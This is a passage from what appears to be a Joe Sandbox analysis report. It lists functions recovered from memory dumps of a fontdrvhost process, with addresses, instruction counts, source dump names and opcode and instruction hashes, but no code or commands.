Instruction Fuzzy Hash: 3A11C413F0D2978AF738D6EA18310BD5A706F413D0F1841BED4DE6A1D6DC0C6804638A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10A466 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f1da4454d23c98428ee01ee494c1d0be6aab3168ada31ee56a6b1337a4bb912
Instruction ID: 4c661c31564bfe13d21b0d9f4593fccb4e17236ed8663cfac6a43df290aca28f
Opcode Fuzzy Hash: 7f1da4454d23c98428ee01ee494c1d0be6aab3168ada31ee56a6b1337a4bb912
Instruction Fuzzy Hash: 9B812332B0CA078FE338DBA894655B977F0FF55390B14057EE48ED3192DE28BA428749

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C108389 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 080b647a80b2c652186820760e81c2efbf40b4c56a022dcb4576a1db23ec4bad
Instruction ID: 5b2c80f4c8e1ed4ce73a583a7bf8b797cc5a6faccd623f8897b67f12775679fb
Opcode Fuzzy Hash: 080b647a80b2c652186820760e81c2efbf40b4c56a022dcb4576a1db23ec4bad
Instruction Fuzzy Hash: 00713C32A0E54B8FF778DA58C4666B537E0FF44350B1402BBD09ED75A2DE28A8168789

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10D985 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cdf112992a50265862359349e86551eda5e44decf2f1ea9f110265a48813506
Instruction ID: 5d356757969d9ca7bd51c1ed97f285c817f33c949d1816f2c55a5a08420ee81a
Opcode Fuzzy Hash: 6cdf112992a50265862359349e86551eda5e44decf2f1ea9f110265a48813506
Instruction Fuzzy Hash: 2D71E523F0EA9B8FEB21FB9C98B24E97BB0EF05394B0401B6D059DA1D3DD1968068745

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10C6B1 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebb70ae7bd2d01da6243aa323ca1e9358a039723689203487a8b166c225eccca
Instruction ID: 521cac0f1dbfa31408afbc2164a78d285a9d80c373c86bd37a43650b9867b645
Opcode Fuzzy Hash: ebb70ae7bd2d01da6243aa323ca1e9358a039723689203487a8b166c225eccca
Instruction Fuzzy Hash: CB81AD31A09B078FE379DB64D1B457577B1FF54340B10497EC48A97A92CB29B882CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10BA00 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6b0297f55aafab5f3fba2c104d94baa91e4140c41db08e578f1156527f6429b
Instruction ID: 0ce8820d25005ea31da2a2e544cef7c7bf79249406172ed1c5e65b27fe2abf64
Opcode Fuzzy Hash: f6b0297f55aafab5f3fba2c104d94baa91e4140c41db08e578f1156527f6429b
Instruction Fuzzy Hash: A081A031E1864A8FDBA9EB688865BE9B7B1EF15300F0041FED45DE32D6DE346980CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10B07E Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb76682308b1333a3554d98fff90cf3c9dcb58e1809cebb46405344392a1dd11
Instruction ID: 9e7af658c5106bf3ffca77fc4011a71f5c2285df932dca05cdb4a8adb1a777e2
Opcode Fuzzy Hash: bb76682308b1333a3554d98fff90cf3c9dcb58e1809cebb46405344392a1dd11
Instruction Fuzzy Hash: 78711331A0DA8B8FD759DB68D0A06A4BBB0FF16340F5441B9C44AC7AC7DB38B890C795

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10769B Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f4010bb8d7431fb1b388f04562df4fc526b24c224b847198a14d4b38bb4f930
Instruction ID: ba6fc04664a3996a81b3bbf4f9985a535cf55ad62efb6bdf82535c9c26447092
Opcode Fuzzy Hash: 9f4010bb8d7431fb1b388f04562df4fc526b24c224b847198a14d4b38bb4f930
Instruction Fuzzy Hash: 8E51A132E1D54B8FEB65DBA488746BD7BB1FF59380F1405BAD00EE2182EE286841C785

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10E91B Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfdefaf38ce7edd4bf1383b589ba338f30c060117f41147825af5c3f4e9a7f5f
Instruction ID: a0a145806a97894cddf063a1ab960741765db8e8b2a63909b631dab87b14e50d
Opcode Fuzzy Hash: cfdefaf38ce7edd4bf1383b589ba338f30c060117f41147825af5c3f4e9a7f5f
Instruction Fuzzy Hash: 3651C532F1D94B8EEBA5DBA588656BC7BB0FF49380F1404BAD04EE71D6DE3868418705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA208D0 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 120f94ae00b363b3173be8ad676ff2e56c887f9a40ce00750e52c4efb57b4606
Instruction ID: 97a35d4f007ccf54db380795dc1e6e37bc087a386074bdfde4e4a0c56ccab969
Opcode Fuzzy Hash: 120f94ae00b363b3173be8ad676ff2e56c887f9a40ce00750e52c4efb57b4606
Instruction Fuzzy Hash: D651C231B0855E8FDB45FFA8D4A5AEC77A1FF58314F0401BAD40AD71AACE35A881C785

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA21715 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bc3c613cdd51337efa928444db5e36507974e5ee95307864429335f7f58959c
Instruction ID: 2158dacfa776107afc38f6bb1bb75ac8e1988a6bfd7042a4f4fda9d47ddc7c7d
Opcode Fuzzy Hash: 4bc3c613cdd51337efa928444db5e36507974e5ee95307864429335f7f58959c
Instruction Fuzzy Hash: F051D431E0A69E8FEB60EB68C8586E9B3E0FF65310F0540B6D44DC71A1DE746A84CF01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA20908 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30f1ca52208a3b3b6a87490e28aaf1ca8b57730e1d15a4fb627a13cec141abea
Instruction ID: 1b8fb49a8b9fd336a4d60be61d19768da0872ee241d524e30c393a9dc724b61a
Opcode Fuzzy Hash: 30f1ca52208a3b3b6a87490e28aaf1ca8b57730e1d15a4fb627a13cec141abea
Instruction Fuzzy Hash: EE517C70A0590E9FCF84EF98D494EEDBBF1FF68325B050169E419E7260DA74E990CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10D0D8 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1c776a0964c730583b38db162f4bb67b6a01a0f6551131f45f2dc98081202b7
Instruction ID: ad0f3a34efa7416e64470dcf8d2259ae8a1a30d9fe9da76b16fb99eb463d497e
Opcode Fuzzy Hash: b1c776a0964c730583b38db162f4bb67b6a01a0f6551131f45f2dc98081202b7
Instruction Fuzzy Hash: 2741E421A1C55B4EEBBC9658C4B06F4B7B1FF95340F3441BAD05ED7186CD3C69818749

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C100CD7 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c66e81d03a13b729e3d82aa17e519c75be4594a69649dc72cf5851b966e6ca04
Instruction ID: 263482205da07e25065d8121f975ecf17d7625c51c49a1c48cec65843d13c50e
Opcode Fuzzy Hash: c66e81d03a13b729e3d82aa17e519c75be4594a69649dc72cf5851b966e6ca04
Instruction Fuzzy Hash: 0641533260CA098FDFA8EF58C4A59A5B3E1FB69310B0402A9D45EC31A6DE35FC45CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10CC67 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d0e6d32f313fc4651ce0558890ddea8434f88901a74a81cf912db3c3ad1ff7
Instruction ID: abde9b797f017e8ebc93f10f99ba1f8acaf2063cf1bce60f47a1cbc2983c1ae2
Opcode Fuzzy Hash: e6d0e6d32f313fc4651ce0558890ddea8434f88901a74a81cf912db3c3ad1ff7
Instruction Fuzzy Hash: 1541803260C9098FDFA8EF58C4A5DB4B7F1FB69320B14416AD45AC3292DE31E985CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA21613 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3cb7adb77aed50c342e48001783bbf761700c9e561c19db712e1d66bbab3da6
Instruction ID: 0ea932dd702f5712fb29582924dbca9f1f8e367bbb1d2ace5688f097ac955cf0
Opcode Fuzzy Hash: e3cb7adb77aed50c342e48001783bbf761700c9e561c19db712e1d66bbab3da6
Instruction Fuzzy Hash: A1315F23F0E65A0FE721BBBDE8B65ED3B90EF51375F0901B3D0D9860A3ED2915098252

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10CD11 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a932e210ea02952cc7c64b63660c3d141d20efef3094ca048dbc9c45cc290109
Instruction ID: e1134dedfad6d64148b9efb28153d067dc00b0a242214ecc4bbad1180e61a043
Opcode Fuzzy Hash: a932e210ea02952cc7c64b63660c3d141d20efef3094ca048dbc9c45cc290109
Instruction Fuzzy Hash: D831923260C9498FDFACEF58C4A5DB4B7E1FB6931071441AAD45AC7192CE35EC85CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C100D81 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c77bd8739d68ef62df9145f108e0a30178af0ef35428cec8fef29e6e9148de8
Instruction ID: cf61464fc938ffb625b3a31f32f4262a43a77b613fddc46b2275aa3e6955de2c
Opcode Fuzzy Hash: 0c77bd8739d68ef62df9145f108e0a30178af0ef35428cec8fef29e6e9148de8
Instruction Fuzzy Hash: C231623260CA498FDB6CEF18C4A5DA4B3E1FB69310B0502A9D45AC71A6CE35EC85CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C108DF2 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaf464714d23ba57345522e7c6f88488ce623f0d83b58aa52f689d9ae2373229
Instruction ID: b1049924246f882dac8b6fe7c097e1ba44dc539cb282d183ee4e919176ecf06d
Opcode Fuzzy Hash: aaf464714d23ba57345522e7c6f88488ce623f0d83b58aa52f689d9ae2373229
Instruction Fuzzy Hash: F141BF32F1D91B8FEB64EB98C8A19FC77B1FF54350F500076D04AAB196DE2568418784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10CCAB Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3741c30a7218f2e68c472a208969f7b6721be8967a6001cc48cb2ea6607be0ee
Instruction ID: 2237b0d867bfa3addcaa269f3844fd8835f3608bb7e493a5efa6b469fd27c9c7
Opcode Fuzzy Hash: 3741c30a7218f2e68c472a208969f7b6721be8967a6001cc48cb2ea6607be0ee
Instruction Fuzzy Hash: E7317E3260C9098FDFA8EF58C4A5DB4B7F1FB6931071441AAD45AC7292CE35E985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C100D1B Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c2a38bbd80eefaf4afbc9e726feabcbec2117eb976e5035ad575ec8098be5cc
Instruction ID: d3b63270e02e93623c8339a1115ba8cfb739764afcbb0b6c6ba81dc6b9d5c09a
Opcode Fuzzy Hash: 5c2a38bbd80eefaf4afbc9e726feabcbec2117eb976e5035ad575ec8098be5cc
Instruction Fuzzy Hash: B831323260CA498FDF68EF18C4A59A4B3E1FB69310B0502A9D45EC71A6DE35FC85CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA20998 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d789c99e5895a939d2dc3848ee9ce25deb235c8d6e8f9c96b02a1d413f815a54
Instruction ID: fc3c1c26603c6a0de278e1f7ac9f02347955d2a50e6a8ca1c6256cadb0d5cb95
Opcode Fuzzy Hash: d789c99e5895a939d2dc3848ee9ce25deb235c8d6e8f9c96b02a1d413f815a54
Instruction Fuzzy Hash: 34410B70E1491D8FDF94EF98C895AEDB7F1FF68315F10016AE409E3299CA34A981CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C108F1A Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c00900b979151455b141ccb23f1434ae8963340fb1be164f89b6d04003eb6900
Instruction ID: 042b24525e756607f2632b0095818132be7d161ee1a19641ccfefd7bd952cf4f
Opcode Fuzzy Hash: c00900b979151455b141ccb23f1434ae8963340fb1be164f89b6d04003eb6900
Instruction Fuzzy Hash: 6331CF12A0EAD70FE76297B858745A43FB2EF97290B0D41F7D499CB0D7DD1CA8058386

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA25BE8 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 334b685bb77bc218a29cd46149a8d62078e7dd688f49efc9a8404604a0529fe5
Instruction ID: 98891814eef074080f6881488a5252f6aa67f18f176d1b8effd2e55990957e59
Opcode Fuzzy Hash: 334b685bb77bc218a29cd46149a8d62078e7dd688f49efc9a8404604a0529fe5
Instruction Fuzzy Hash: D14187B0A4491C8FDBA4DB14C854BE9B7F0FB68305F1041EAD10EE3295DB75AAC48F45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C117D5D Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8e6e7f6cee01122f5da0ddff4d4ace28cb7f5871c2eb8dc3a508ac482178af2
Instruction ID: cccfff465865601ff90077b7983697514f1b5e37b5485ea3bff378493b909329
Opcode Fuzzy Hash: f8e6e7f6cee01122f5da0ddff4d4ace28cb7f5871c2eb8dc3a508ac482178af2
Instruction Fuzzy Hash: 6431243170CA498FDF9DEF18C4A5EA9B7E1FB69310B0441A9D44AC7292DE35EC85CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10804A Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ea49e48c77e5c2a3863b4bb83332ea589cddac5a3c2e42504eb3df077fa80bc
Instruction ID: eda991979113e3a062f3a6a8fc5dddbe8fe26f89e0111dd7444fd20351fd3f19
Opcode Fuzzy Hash: 7ea49e48c77e5c2a3863b4bb83332ea589cddac5a3c2e42504eb3df077fa80bc
Instruction Fuzzy Hash: 9B31D221A4F3C64FE753D374A8686E93FB1AF43364F1801EBE0859A4A3CAA90516C756

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C109E6B Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da29b975b634e63c9f463c92321a2eb1c07ecd61789707444ba3c8e7d79a29bc
Instruction ID: a0588b132438ab0c7aa4ed2d442dd5d8f6b5bd4a2189b1539720c3c17e6dbca9
Opcode Fuzzy Hash: da29b975b634e63c9f463c92321a2eb1c07ecd61789707444ba3c8e7d79a29bc
Instruction Fuzzy Hash: 0B314072F1D91A8FDB64EB98D8B19A8B3B1FF58390B104139D04EE3281DF247C128B84

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C100AE5 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5f2a68715517d37640ed6fe4b76837cd3209bba186d9875612056083184c61
Instruction ID: 20a2d5711fd0aa50cf524c45286a929699a2ade6e1a7f79200f6d8c3ae0f6e1b
Opcode Fuzzy Hash: 0a5f2a68715517d37640ed6fe4b76837cd3209bba186d9875612056083184c61
Instruction Fuzzy Hash: B9314836A1894BCFDBB8DF9884A16BD77B1FF58344F9400BAD00EE21A1DE3869408B45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA213C8 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15cdb90c108697e5a96e287df350cd5c69a1327109281e3b3519337fb906d565
Instruction ID: e2e65793bba9c0b1a01b042ef036a090dc6eeeced672053047625c8574f40b42
Opcode Fuzzy Hash: 15cdb90c108697e5a96e287df350cd5c69a1327109281e3b3519337fb906d565
Instruction Fuzzy Hash: F5319E30E0864E8BDB64EB98C8656BD77F1FF58300F51017AD00AD32A6DEB56A458B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA20C25 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe3d861ac9849f90fccf7f57a93999a210606d953ca87d7cda11c8b3ade76f1f
Instruction ID: 24e904577671ce9bb57b0d5bcff09434b0534897234768315e57eaa7c1723c5a
Opcode Fuzzy Hash: fe3d861ac9849f90fccf7f57a93999a210606d953ca87d7cda11c8b3ade76f1f
Instruction Fuzzy Hash: 59313B71B4E64E8BE732ABA8C8612FD7BB0EF41310F05457BC455972E2CAB82605CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10CAE5 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0c2d79f25c2636f7771ee807342eb84943068dd0995cc158f92f0d713b3b931
Instruction ID: a125b2a5cb6a8ee85f7955343395319dc6248c46061dc89a3f2b7fd10de2cb27
Opcode Fuzzy Hash: d0c2d79f25c2636f7771ee807342eb84943068dd0995cc158f92f0d713b3b931
Instruction Fuzzy Hash: 0F31E732B1850BCFEBB8DB9884755BDBBB1FF58380F50017AD40AE2281DE7869449B46

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10B9D2 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99ec7bee68974e869b6e1938fd7928a272776f8b20ba0c9256512f5a5f9d3b59
Instruction ID: e4ad2f7b81b0203aee94845ad87c1be186267bfeb85716520a5ebf52510fa60a
Opcode Fuzzy Hash: 99ec7bee68974e869b6e1938fd7928a272776f8b20ba0c9256512f5a5f9d3b59
Instruction Fuzzy Hash: 37318C11A1C1978AE739C75884719B47B71EF92351B184AFAC0A7DB6CBC82CB8C19380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1098C2 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff41f07b28d3411d5bdbfaf0d3848f300b4fc978fa6e4f3b5a0704de59651c85
Instruction ID: 60b821c6878c74206df433f01a0610cc67e4c40a3f62b7cbfeeee1eda94aef76
Opcode Fuzzy Hash: ff41f07b28d3411d5bdbfaf0d3848f300b4fc978fa6e4f3b5a0704de59651c85
Instruction Fuzzy Hash: D721EA31E0891D8FDF98DB58C4A5AECB3B1FF6C310F0041AA901EE3295CE35A981CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10E592 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 437e41677b03ae54ab2ed5a890b83ee5c89ac0431b5222a1919a0b4287790bd8
Instruction ID: bdb7f1f3701745f1a3cbb05252d328c702ddbe02f9a4c809c0d9392c4651d137
Opcode Fuzzy Hash: 437e41677b03ae54ab2ed5a890b83ee5c89ac0431b5222a1919a0b4287790bd8
Instruction Fuzzy Hash: 5621F835E1891D9FDFA8EB58C4A5AE9B3B1FF58340F0041AAD04EE3291CE35A9918B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA25D41 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d118f527e32161ca1f6223e785a9c62a596755c660eb21e240f5ba74b8a1e23
